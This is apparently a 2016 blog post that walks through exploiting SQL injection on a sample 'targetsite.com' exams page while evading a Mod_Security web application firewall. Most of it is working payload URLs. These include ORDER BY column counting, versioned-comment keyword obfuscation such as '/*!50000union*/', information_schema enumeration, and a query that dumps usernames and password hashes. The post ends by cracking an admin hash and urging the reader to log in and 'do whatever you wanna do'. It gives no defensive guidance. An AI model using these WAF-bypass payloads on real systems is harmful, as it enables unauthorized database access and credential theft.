Exploiting SQL Injection by Bypassing WAF (Mod_Security)
Autor: Bikramaditya Guha | Publicado: 2016-06-23T01:49:00-07:00



Since years,
SQL Injections have been the most dreadful and frightening of all
vulnerabilities discovered till date. The power of a single quote (') is beyond
comparison. SQL injection attacks were first discovered in 1998, with one of
the first live attacks taking place in 2002 on the fashion retailer Guess and
the rest is History. Billions of Dollars and reputations have been lost. In
spite of implementing multiple forms of fixes, it’s a never ending war between
developers and hackers. If the former comes up with a way to prevent it, the
latter comes up with a way to bypass it. 

The blog focuses on providing in-depth insights into the discussion of the techniques used to bypass
one of such prevention methods. This blog will not help you to learn the
basics of SQL Injection; so I would recommend you to go through OWASP before even thinking about jumping into advanced techniques. This blog is more
focused on bypassing Mod_Security (Web Application Firewall) and eventually exploiting SQL Injection vulnerability.&nbsp; 

The Attack:

First and
foremost, we need to find our target website. In this case I am using:
http://targetsite.com/demo/exams.php?sort=8









<!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600"
 o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f"
 stroked="f">
 
 
  
  
  
  
  
  
  
  
  
  
  
  
 
 
 
<v:shape id="Picture_x0020_2" o:spid="_x0000_i1025" type="#_x0000_t75"
 style='width:537pt;height:261.75pt;visibility:visible'>
 <v:imagedata src="file:///C:\Users\Bikram\AppData\Local\Temp\msohtml1\01\clip_image001.png"
  o:title=""/>
 
<![endif]--><!--[if !vml]--><!--[endif]-->
















Looks perfect!
Right? Now let's try to insert a single quote at the end of the URL and observe
what happens:
http://targetsite.com/demo/exams.php?sort=8'























Hmmm!! Different response!

The page
appears but no data. So something did happen but still we don’t have a
confirmation whether SQL Injection exists or not. Let's modify our query a bit
to see how the application responds.
http://targetsite.com/demo/exams.php?sort=8' or 1=1--



Normally in a
vulnerable website the above query would return values from the entire table
since the Boolean condition is always true. Let's see how this website
responds:







<!--[if gte vml 1]><v:shape id="Picture_x0020_9" o:spid="_x0000_i1027"
 type="#_x0000_t75" alt="\\UBSPROD.MSAD.UBS.NET\UserData\GUHAB\RF\Desktop\Documents\ExamBoard v2.0.0\WAF Bypass\4.jpg"
 style='width:541.5pt;height:102.75pt;visibility:visible'>
 <v:imagedata src="file:///C:\Users\Bikram\AppData\Local\Temp\msohtml1\01\clip_image005.png"
  o:title=""/>
 
<![endif]--><!--[if !vml]--><!--[endif]-->





BLOCKED!&nbsp; 

It seems like
our target website has a WAF implemented to prevent itself from being targeted.
So, if I am not wrong, any attacks directed towards the database will be
blocked by Mod_Security. 

Well in some
cases, it is possible to block such attacks if you have the implementation done
correctly with an up-to-date version of WAF being used and regular update of
security patches being rolled out. 

But then again,
aren't we hackers? We don't give up, do we? Let's try to get around it. Sounds
intriguing? Let's play.

First we need
to make some queries work just to be sure that SQL Injection indeed exists.

Finding the Number of Columns:

Till now I
would say that we are kinda hacking in the dark. No real MySQL errors which
actually proved the presence of SQL Injection. The only success we had was when
we used a single quote in the above mentioned URL and received a blank page in
response…no rows…no data. This can however mean that we somehow managed to
change the structure of the underlying query and the page might be vulnerable
to SQL Injection. Let's try and get some confirmation. 

Finding the
number of columns present in the current database might actually prove its
presence. This can be achieved by using a simple "ORDER BY" clause.
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 1--&nbsp;























No Error! Expected Response!
Cool…there's Hope after all….

Let's proceed
further…
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 2-- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;No Error
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 3--&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;No Error 
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 4--&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;No Error 
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 5--&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;No Error 
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 6--&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;No Error 
http://targetsite.com/demo/exams.php?sort=8 ORDER BY 7--&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;No Error but a Blank Page






















As seen above, ORDER
BY 7-- query generated a different response thereby proving the
existence of 6 columns in the current database. We were lucky though since the
WAF did not block the 'ORDER'
keyword. We need that sometimes!

However, since
now we know the number of columns in use; let’s see which columns get
displayed in the response.

The query would
look like:
 http://targetsite.com/demo/exams.php?sort=8 UNION Select 1,2,3,4,5,6--











OOPS! Mod_Security again!

So I guess the
filter has been set on 'UNION' and 'SELECT' keywords. So now it's time to
actually bypass the WAF (since we've had enough of it) by modifying the query
and force the backend database to exfiltrate data as we desire.

Bypassing WAF:

Let's try the modified query below:
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,6--+






















It seems like
the 3rd, 4th and 6th columns are being displayed. Now we can use SQL Injection
to extract data and display them on the above displayed columns

Let's extract
our first GOLDEN PRIZED data by finding out the MySQL version and the current
database user.
http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2, current_user(),@@version,5,6--+














Extracting Data from Database:

<!--[if gte vml 1]><v:shape id="Picture_x0020_15" o:spid="_x0000_i1032"
 type="#_x0000_t75" alt="\\UBSPROD.MSAD.UBS.NET\UserData\GUHAB\RF\Desktop\Documents\ExamBoard v2.0.0\WAF Bypass\9.jpg"
 style='width:545.25pt;height:266.25pt;visibility:visible'>
 <v:imagedata src="file:///C:\Users\Bikram\AppData\Local\Temp\msohtml1\01\clip_image015.png"
  o:title=""/>
 
<![endif]--><!--[if !vml]--><!--[endif]-->

Since we know
it’s a MYSQL database, we also know that there are some globally defined
database tables, columns and schema. The names and hierarchies are as follows:

<!--[if !supportLists]-->·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<!--[endif]-->information_schema - name of the meta-database in
MYSQL which has the following table

<!--[if !supportLists]-->Ø columns -
is the table name in the information_schema which in turn has the following columns inside

<!--[if !supportLists]-->ü&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<!--[endif]-->table_name -
all tables in all databases

<!--[if !supportLists]-->ü&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<!--[endif]-->column_name -
all columns in all the tables of all the databases

<!--[if !supportLists]-->ü&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<!--[endif]-->table_schema
- all databases in server

Now let’s use
this to get some data.

<!--[if !supportLists]-->Step 1. <!--[endif]-->Extracting Tables:

 http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/*!50000gROup_cONcat(table_name,0x0a) */+from+/*!50000inforMAtion_schema*/.tables+%20/*!50000wHEre*/+/*!50000taBLe_scheMA */like+database()--+







<!--[if gte vml 1]><v:shape id="Picture_x0020_16" o:spid="_x0000_i1033"
 type="#_x0000_t75" alt="C:\Users\guhab\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\6.jpg"
 style='width:547.5pt;height:327pt;visibility:visible'>
 <v:imagedata src="file:///C:\Users\Bikram\AppData\Local\Temp\msohtml1\01\clip_image017.png"
  o:title=""/>
 
<![endif]--><!--[if !vml]--><!--[endif]-->



















Anything
interesting? 'users' table seems to
be interesting!

Let's query it
further to see what kind of columns it has.

<!--[if !supportLists]-->Step 2. <!--[endif]-->Extracting Columns from 'users' Table

 http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/* !50000gROup_cONcat(column_name,0x0a)*/+from+/*!50000inforMAtion_schema*/.columns+/ *!50000wHEre*/+/*!50000taBLe_name*/=CHAR(117,%20115,%20101,%20114,%20115)--+







<!--[if gte vml 1]><v:shape id="Picture_x0020_17" o:spid="_x0000_i1034"
 type="#_x0000_t75" alt="C:\Users\guhab\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\7.jpg"
 style='width:547.5pt;height:326.25pt;visibility:visible'>
 <v:imagedata src="file:///C:\Users\Bikram\AppData\Local\Temp\msohtml1\01\clip_image019.png"
  o:title=""/>
 
<![endif]--><!--[if !vml]--><!--[endif]-->



















I guess we
reached the 'orgasmic' point where the next step could lead you to a complete
different level. Imagine having a list of all the usernames and passwords at
your disposal and especially if you have the ADMIN creds. Well I am not saying
anything but you are intelligent enough to make use of it. So ready for your
final attempt? Here we GO

<!--[if !supportLists]-->Step 3. <!--[endif]-->Extracting Data from 'username' &amp; 'password' Columns

 http://targetsite.com/demo/exams.php?sort=8+/*!50000union*/+/*!50000select*/+1,2,3,4,5,/*!50000gROup_cONcat(username,0x0a, password)*/+from+/*!50000users*/--+







<!--[if gte vml 1]><v:shape id="Picture_x0020_18" o:spid="_x0000_i1035"
 type="#_x0000_t75" alt="C:\Users\guhab\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\8.jpg"
 style='width:540.75pt;height:327.75pt;visibility:visible'>
 <v:imagedata src="file:///C:\Users\Bikram\AppData\Local\Temp\msohtml1\01\clip_image021.png"
  o:title=""/>
 
<![endif]--><!--[if !vml]--><!--[endif]-->



















The data that I
am most interested in is:

'admin':'9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684'

Looks like a
SHA-1 Hash which finally resolves to 'pass'
once reversed. So the final value:


Username: admin

Password: pass


Do I need to tell you what to do next!! Just go
find the GOD DAMN admin console and do whatever you wanna do. My Job here is
done. See you again. Till then

Hasta la vista